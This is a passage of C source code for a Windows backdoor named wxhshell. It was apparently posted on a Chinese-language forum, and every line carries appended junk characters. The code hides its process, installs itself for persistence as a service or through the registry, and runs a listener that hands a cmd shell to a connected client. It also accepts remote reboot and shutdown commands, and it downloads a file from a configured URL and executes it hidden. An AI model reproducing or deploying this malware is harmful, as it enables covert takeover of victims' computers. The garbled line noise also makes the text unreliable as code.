      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y:(OZ%g  
    break; ;vvO#3DWM  
  } p C l[DE  
  // 安装 k@U8K(:x  
  case 'i': { /e :V44  
    if(Install()) >f#P(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w~a^r]lPW  
    else PVHJIB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *LpEH,J  
    break; 6s\niro2  
    }  S[!K  
  // 卸载 \$Y Kw0K  
  case 'r': { 6M9t<DQV  
    if(Uninstall()) =gS?atbX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J#vIz  Q  
    else '_,/N!-V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O,R5csMh  
    break; R>SS\YC'X  
    } C( 8i0(1  
  // 显示 wxhshell 所在路径 W[BZ/   
  case 'p': { ZC 7R f  
    char svExeFile[MAX_PATH]; ^;jJVYx-PP  
    strcpy(svExeFile,"\n\r"); ^T@ (`H4@  
      strcat(svExeFile,ExeFile); bh|M]*Pq  
        send(wsh,svExeFile,strlen(svExeFile),0); s.I%[kada  
    break; eznt "Rr2  
    } O*{<{3  
  // 重启 Pe6}y  
  case 'b': { "*W:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2^w3xL"   
    if(Boot(REBOOT)) r!SMF ]?SJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Gt&c_gH  
    else { u~n*P``{  
    closesocket(wsh); P' .MwS  
    ExitThread(0); .zQ:u{FT  
    } >p#`%S  
    break; %jz]s4u$5j  
    } 0fwmQ'lW(  
  // 关机 LVKvPi  
  case 'd': { 4k/B=%l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [xzgk [>5  
    if(Boot(SHUTDOWN)) g^|}e?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !.1oW(  
    else { ^Pl(V@  
    closesocket(wsh); c} )U:?6  
    ExitThread(0); 3/c3e{,!  
    } 85CH% I#  
    break; li'h&!|]  
    } ~_opU(;f  
  // 获取shell -4ry)isYx  
  case 's': { ^hq+ L^$^  
    CmdShell(wsh); |/<,71Ae  
    closesocket(wsh); %B?@le+%  
    ExitThread(0); ws8@y r<R  
    break; abiZ"?(  
  } j8n_:;i*  
  // 退出 t80s(e  
  case 'x': { _5TSI'@.4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V/|).YG2  
    CloseIt(wsh); K"u-nroHW  
    break; x|4m*>Ke  
    } Pyh+HD\  
  // 离开 \7rAQ[\#V  
  case 'q': { .nN=M>#/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4x7(50hp#  
    closesocket(wsh); 6. N?=R  
    WSACleanup(); ]<b$k  
    exit(1); Uytq,3Gj6  
    break; sd4eJ  
        } X`#,*HkK  
  } oSVo~F  
  } I5]=\k($  
PL$*)#S"$  
  // 提示信息 *D`]7I~}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $pW6a %7  
} iV9wqUkMv  
  } 'a.n  
J{>9ctN  
  return; )9/.K'o,dy  
} A!Em J  
j"(o>b v7  
// shell模块句柄 9R_2>BDn  
int CmdShell(SOCKET sock) 9/A$ 3#wF  
{ 5=/&[=  
STARTUPINFO si; /`(Kbwh   
ZeroMemory(&si,sizeof(si)); 0XouHU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UNLmnj;-Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X3[gi`  
PROCESS_INFORMATION ProcessInfo; _Z~cJIEU  
char cmdline[]="cmd"; =KQQS6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); & Tz@lvOv%  
  return 0; vBy t_X  
} =&+]>g{T  
337y,;  
// 自身启动模式 eC%uu  
int StartFromService(void) C]S~DK1  
{ B ~u9"SR.  
typedef struct $t*>A+J  
{ |-Rg].  
  DWORD ExitStatus; =$bJ`GpJ  
  DWORD PebBaseAddress; GJZGHUB=>  
  DWORD AffinityMask; PJd7t% m;  
  DWORD BasePriority; Pdgn9  
  ULONG UniqueProcessId; 3a9%djGq  
  ULONG InheritedFromUniqueProcessId; 5)712b(&  
}   PROCESS_BASIC_INFORMATION; ;]*V6!6RR  
=^liong0  
PROCNTQSIP NtQueryInformationProcess; Pjz_KO/  
a=ye!CN^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EQQ/E!N8l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MZYh44  
D#%aow'(7  
  HANDLE             hProcess; JFAmND;+  
  PROCESS_BASIC_INFORMATION pbi; 5\\#kjjx  
mjgwU8'![  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7D'-^#S5  
  if(NULL == hInst ) return 0; 5ggmS<=  
b1+6I_u.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H~Z$pk%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qY,z,o AF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b\6 )whh  
.<xzf4C  
  if (!NtQueryInformationProcess) return 0; &[u>^VO8  
3[q&%Z.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0cYd6u@  
  if(!hProcess) return 0; s*'L^>iZ  
~kDR9s7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '8%pEl^  
+Dvdv<+  
  CloseHandle(hProcess); 2Y~UeJ_\Lq  
^b{-y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Kmy'z  
if(hProcess==NULL) return 0; P9d%80(b4  
mM`zA%=  
HMODULE hMod; jM <=>P  
char procName[255]; /"~ D(bw0=  
unsigned long cbNeeded; ZtzSG@f  
QuF76&)7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xk2M.:3`  
X?6E0/r&9  
  CloseHandle(hProcess); [^N8v;O  
4Cd#S9<ed  
if(strstr(procName,"services")) return 1; // 以服务启动 +f5|qbX/\  
\R!.VL3Tx$  
  return 0; // 注册表启动 O $dcy!  
} 0QzUcr)3+  
>Xz=E0;^Ua  
// 主模块 ? PIq/[tk  
int StartWxhshell(LPSTR lpCmdLine) hMcSB8?  
{ \o|5 /N  
  SOCKET wsl; t1LIZ5JY  
BOOL val=TRUE; =1!,A  
  int port=0; \VL_  
  struct sockaddr_in door; `/|S.a#g  
eA4dDKX+  
  if(wscfg.ws_autoins) Install(); J A=9EnTU  
#sHA!@ |  
port=atoi(lpCmdLine); m7~<z>5$  
0LX"<~3j  
if(port<=0) port=wscfg.ws_port; Sn o7Ru2  
@k< e]@r  
  WSADATA data; BIu%A]e"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @ve4rc/LI  
Ark+Df/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $ 12mS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;Avz%2#c`  
  door.sin_family = AF_INET; YwbRzY-#F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d]3c44kkK{  
  door.sin_port = htons(port); Yg @&@S]  
]1 V,_^D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4=; . <  
closesocket(wsl); XwZ~pY ~  
return 1; WO}l&Q  
} {|R@\G.1(  
Sio> QL Y  
  if(listen(wsl,2) == INVALID_SOCKET) { t^8 ii  
closesocket(wsl); Nu/D$m'PY  
return 1; o+NPe36  
} 73n|G/9n[  
  Wxhshell(wsl); |iGfX,C|  
  WSACleanup(); >"OwdAvX  
1q?b?.  
return 0; PpxLMe]  
qVHXZdGL  
} )+Nm @+B  
}Q }&3m~g  
// 以NT服务方式启动 0XkLWl|k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S]Y3nI  
{ TT85G&#  
DWORD   status = 0; %VV\biO]  
  DWORD   specificError = 0xfffffff; Vxr_2Kra  
4$5d*7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t:NYsL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (31ia"i%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c `[,>  
  serviceStatus.dwWin32ExitCode     = 0; n]G_# ;  
  serviceStatus.dwServiceSpecificExitCode = 0; /.knZ_aJ!  
  serviceStatus.dwCheckPoint       = 0; 6%j v|\>  
  serviceStatus.dwWaitHint       = 0; JYAtQTOR  
`6R.*hq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [lU0TDq  
  if (hServiceStatusHandle==0) return; 1 #zIAN>  
N WSm  
status = GetLastError(); )aV\=a |A  
  if (status!=NO_ERROR) "mbjS(-eg  
{ }NH\Q$IU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fXL&?~fS  
    serviceStatus.dwCheckPoint       = 0; QU#u5sX A  
    serviceStatus.dwWaitHint       = 0; iY|zv|;]=  
    serviceStatus.dwWin32ExitCode     = status; Z+gG.|"k  
    serviceStatus.dwServiceSpecificExitCode = specificError; '8k{\>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '7Ad:em  
    return; A^m]DSFOO  
  } ;^[VqFpeS  
iXF iFsb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z: ;ZPSn  
  serviceStatus.dwCheckPoint       = 0; ~PTqR2x  
  serviceStatus.dwWaitHint       = 0; gv6}GE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zb \E!>V  
} IIZu&iZo\  
wsfN \6e  
// 处理NT服务事件,比如:启动、停止 zL^`r)H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kyr3)1#J  
{ O_E\(So  
switch(fdwControl) 0x N1Xm0d  
{ W[$GB_A)  
case SERVICE_CONTROL_STOP: =DL |Q  
  serviceStatus.dwWin32ExitCode = 0; =&!L&M<<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )=k8W9i8b  
  serviceStatus.dwCheckPoint   = 0; %Voq"}}N  
  serviceStatus.dwWaitHint     = 0; Y=NXfTc  
  { ;Dw6pmZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \*wQ%_N5  
  } ~ z< &vQ=  
  return; #`g..3ey  
case SERVICE_CONTROL_PAUSE: u|.c?fW'3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EgYM][:UU  
  break; M0B6v} ^H  
case SERVICE_CONTROL_CONTINUE: LH:M`\(DL1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tx+KxOt9Y  
  break; A^%li^qz  
case SERVICE_CONTROL_INTERROGATE: 4lb(qKea  
  break; <n+]\a97*  
}; x5X;^.1Fr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >qqI6@h]c  
} V[Z^Z  
!vrdu OB  
// 标准应用程序主函数 03%`ouf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7])cu>/  
{ J2KULXF  
lI)RaiMr=  
// 获取操作系统版本 pv}k=wqJ1  
OsIsNt=GetOsVer(); dj;Zzt3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZH1W#dt`[  
3iKy>  
  // 从命令行安装 +,g"8&>  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^xNs^wC.  
mDCz=pk)  
  // 下载执行文件 :xBG~D  
if(wscfg.ws_downexe) { I,nW~;OV0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?*nFz0cs^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2 1LJ3rW_  
} W1$<,4j@M  
HCCEIgCT  
if(!OsIsNt) { &|'t>-de,  
// 如果时win9x,隐藏进程并且设置为注册表启动 en5sqKqh+  
HideProc(); q!qOy/}D  
StartWxhshell(lpCmdLine); |e%o  
} l>kREfHq!{  
else v/s6!3pnl  
  if(StartFromService()) i3SrsVSG  
  // 以服务方式启动 {9,!XiF.:  
  StartServiceCtrlDispatcher(DispatchTable); )-u0n] ,  
else `pTCK9  
  // 普通方式启动 9>OPaL n  
  StartWxhshell(lpCmdLine); W ZAkp|R  
'g@Yra&09  
return 0; @[=K`n:n_  
}
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只看该作者 1 发表于: 2006-10-10
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